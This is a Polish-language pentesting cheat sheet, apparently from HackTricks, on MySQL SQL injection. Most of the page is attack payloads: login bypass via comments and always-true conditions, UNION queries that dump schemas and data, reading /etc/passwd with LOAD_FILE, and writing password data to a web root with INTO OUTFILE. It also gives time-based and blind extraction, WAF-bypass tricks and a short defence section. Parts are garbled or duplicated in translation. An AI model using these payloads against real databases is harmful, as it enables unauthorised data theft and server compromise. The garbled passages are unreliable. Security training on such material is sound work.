MySQL injection

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

​​RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Mając na celu promowanie wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.

Komentarze

-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Interesujące funkcje

Potwierdzenie Mysql:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Przydatne funkcje

The following functions can be useful when performing MySQL injection attacks:

Następujące funkcje mogą być przydatne podczas przeprowadzania ataków SQL Injection na bazie danych MySQL:

  • version(): Returns the version of the MySQL server.

  • database(): Returns the name of the current database.

  • user(): Returns the username used to connect to the MySQL server.

  • current_user(): Returns the current user.

  • schema(): Returns the name of the current schema.

  • @@hostname: Returns the hostname of the MySQL server.

  • @@datadir: Returns the data directory of the MySQL server.

  • @@basedir: Returns the base directory of the MySQL server.

  • @@version_compile_os: Returns the operating system on which the MySQL server was compiled.

  • @@version: Returns the version of the MySQL server.

  • @@global.version_compile_os: Returns the operating system on which the MySQL server was compiled.

  • @@global.version: Returns the version of the MySQL server.

These functions can provide valuable information about the MySQL server, which can be used to further exploit vulnerabilities or gather intelligence during a penetration test.

Te funkcje mogą dostarczyć cenne informacje na temat serwera MySQL, które mogą być wykorzystane do dalszego wykorzystania podatności lub zbierania informacji podczas testu penetracyjnego.

SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Wszystkie wstrzyknięcia

Wstrzyknięcie SQL to technika ataku, która polega na wstrzyknięciu złośliwego kodu SQL do zapytania SQL, które jest wykonywane przez aplikację internetową. Wstrzyknięcie SQL może prowadzić do poważnych konsekwencji, takich jak odczyt, modyfikacja lub usunięcie danych w bazie danych.

W przypadku wstrzyknięcia SQL w MySQL, atakujący może wykorzystać różne techniki, aby osiągnąć cel. Poniżej przedstawiono kilka popularnych technik wstrzyknięcia SQL w MySQL:

1. Wstrzyknięcie komentarza

Wstrzyknięcie komentarza to technika, która polega na wstrzyknięciu komentarza SQL do zapytania, aby wyłączyć resztę kodu. Przykład:

SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'password'

W powyższym przykładzie, komentarz -- wyłącza resztę kodu, co pozwala na zalogowanie się jako administrator bez znajomości hasła.

2. Wstrzyknięcie warunku zawsze prawdziwego

Wstrzyknięcie warunku zawsze prawdziwego to technika, która polega na wstrzyknięciu warunku, który zawsze jest prawdziwy, aby obejść autoryzację. Przykład:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'password'

W powyższym przykładzie, warunek '1'='1' zawsze jest prawdziwy, co umożliwia zalogowanie się jako administrator bez znajomości hasła.

3. Wstrzyknięcie zapytania UNION

Wstrzyknięcie zapytania UNION to technika, która polega na wstrzyknięciu zapytania UNION do zapytania SQL, aby połączyć wyniki dwóch zapytań. Przykład:

SELECT username, password FROM users WHERE username = 'admin' UNION SELECT table_name, column_name FROM information_schema.columns'

W powyższym przykładzie, wstrzyknięcie zapytania UNION pozwala na wyświetlenie nazw tabel i kolumn w bazie danych.

4. Wstrzyknięcie zapytania SELECT INTO OUTFILE

Wstrzyknięcie zapytania SELECT INTO OUTFILE to technika, która polega na wstrzyknięciu zapytania SELECT INTO OUTFILE do zapytania SQL, aby zapisywać wyniki zapytania do pliku na serwerze. Przykład:

SELECT username, password INTO OUTFILE '/var/www/html/leak.txt' FROM users WHERE username = 'admin'

W powyższym przykładzie, wstrzyknięcie zapytania SELECT INTO OUTFILE powoduje zapisanie nazw użytkowników i haseł do pliku "leak.txt" na serwerze.

5. Wstrzyknięcie zapytania LOAD_FILE

Wstrzyknięcie zapytania LOAD_FILE to technika, która polega na wstrzyknięciu zapytania LOAD_FILE do zapytania SQL, aby odczytywać zawartość plików na serwerze. Przykład:

SELECT LOAD_FILE('/etc/passwd')

W powyższym przykładzie, wstrzyknięcie zapytania LOAD_FILE powoduje odczytanie zawartości pliku "/etc/passwd" na serwerze.

6. Inne techniki

Oprócz powyższych technik, istnieje wiele innych technik wstrzyknięcia SQL w MySQL, takich jak wstrzyknięcie kodu SQL do parametrów zapytania, wstrzyknięcie kodu SQL do nazw tabeli itp. Ważne jest, aby zrozumieć różne techniki wstrzyknięcia SQL i wiedzieć, jak się przed nimi bronić.

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

z https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Przebieg

Pamiętaj, że w "nowoczesnych" wersjach MySQL można zastąpić "information_schema.tables" przez "mysql.innodb_table_stats" (Może to być przydatne do obejścia WAF-ów).

SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Tylko 1 wartość

  • group_concat()

  • Limit X,1

Ślepe, po jednym

  • substr(version(),X,1)='r' lub substring(version(),X,1)=0x70 lub ascii(substr(version(),X,1))=112

  • mid(version(),X,1)='5'

Ślepe, dodawanie

  • LPAD(version(),1...lenght(version()),'1')='asd'...

  • RPAD(version(),1...lenght(version()),'1')='asd'...

  • SELECT RIGHT(version(),1...lenght(version()))='asd'...

  • SELECT LEFT(version(),1...lenght(version()))='asd'...

  • SELECT INSTR('foobarbar', 'fo...')=1

Wykrywanie liczby kolumn

Używając prostego ORDER

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union Based

MySQL Union Based (Unia oparta na MySQL) jest jedną z najpopularniejszych technik ataku SQL Injection. Ta technika polega na wykorzystaniu operatora UNION w celu łączenia wyników dwóch lub więcej zapytań SQL w jednym wyniku. Dzięki temu atakujący może uzyskać dostęp do danych, do których normalnie nie miałby uprawnień.

Krok po kroku

  1. Zidentyfikuj podatny parametr: Pierwszym krokiem jest zidentyfikowanie parametru, który jest podatny na atak SQL Injection. Może to być np. pole formularza lub parametr URL.

  2. Sprawdź, czy parametr jest podatny: Aby sprawdzić, czy parametr jest podatny na atak SQL Injection, możesz dodać znak jednostrzałki (') lub podwójnego minusa (--) na końcu wartości parametru. Jeśli otrzymasz błąd lub zmieni się wygląd strony, to oznacza, że parametr jest podatny.

  3. Znajdź liczbę kolumn: Aby przeprowadzić atak Union Based, musisz znać liczbę kolumn w tabeli, z której chcesz wydobyć dane. Możesz to zrobić, dodając kolejno UNION SELECT NULL, NULL, ..., NULL, NULL do zapytania, aż przestaniesz otrzymywać błędy. Liczba NULL-ów odpowiada liczbie kolumn.

  4. Wydobywanie danych: Po znalezieniu liczby kolumn możesz rozpocząć wydobywanie danych. Możesz to zrobić, dodając UNION SELECT z odpowiednimi kolumnami i tabelą, z której chcesz pobrać dane. Na przykład, UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM tabela.

  5. Dodatkowe informacje: Jeśli chcesz uzyskać więcej informacji o strukturze bazy danych, możesz użyć funkcji UNION SELECT zamiast UNION SELECT. Na przykład, UNION SELECT table_name, column_name, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM information_schema.columns WHERE table_schema=database().

Zabezpieczenia

Aby zabezpieczyć aplikację przed atakami SQL Injection, należy stosować odpowiednie techniki sanitacji danych wejściowych, takie jak:

  • Używanie parametryzowanych zapytań SQL.

  • Walidacja i filtrowanie danych wejściowych.

  • Unikanie dynamicznych zapytań SQL.

  • Ograniczanie uprawnień użytkowników bazy danych.

Pamiętaj, że zabezpieczenia te powinny być stosowane na wszystkich warstwach aplikacji, włączając frontend, backend i bazę danych.

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Dowiedz się tutaj, jak wykorzystać wstrzyknięcie MySQL do uzyskania SSRF tutaj.

Triki na omijanie WAF

Alternatywy dla information_schema

Pamiętaj, że w "nowoczesnych" wersjach MySQL możesz zastąpić information_schema.tables przez mysql.innodb_table_stats lub przez sys.x$schema_flattened_keys lub przez sys.schema_table_statistics

Wstrzyknięcie MySQL bez przecinków

Wybierz 2 kolumny bez użycia przecinków (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Pobieranie wartości bez nazwy kolumny

Jeśli w pewnym momencie znasz nazwę tabeli, ale nie znasz nazw kolumn wewnątrz tabeli, możesz spróbować znaleźć liczbę kolumn, wykonując coś takiego jak:

# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Zakładając, że istnieją 2 kolumny (pierwsza to ID), a druga to flaga, możesz spróbować bruteforce'ować zawartość flagi, próbując znak po znaku:

# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

Więcej informacji na https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

Historia MySQL

Możesz zobaczyć inne wykonania wewnątrz MySQL, czytając tabelę: sys.x$statement_analysis

Alternatywne wersje

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

Inne przewodniki dotyczące wstrzykiwania MYSQL

Odwołania

​​​​RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Mając na celu promowanie wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Last updated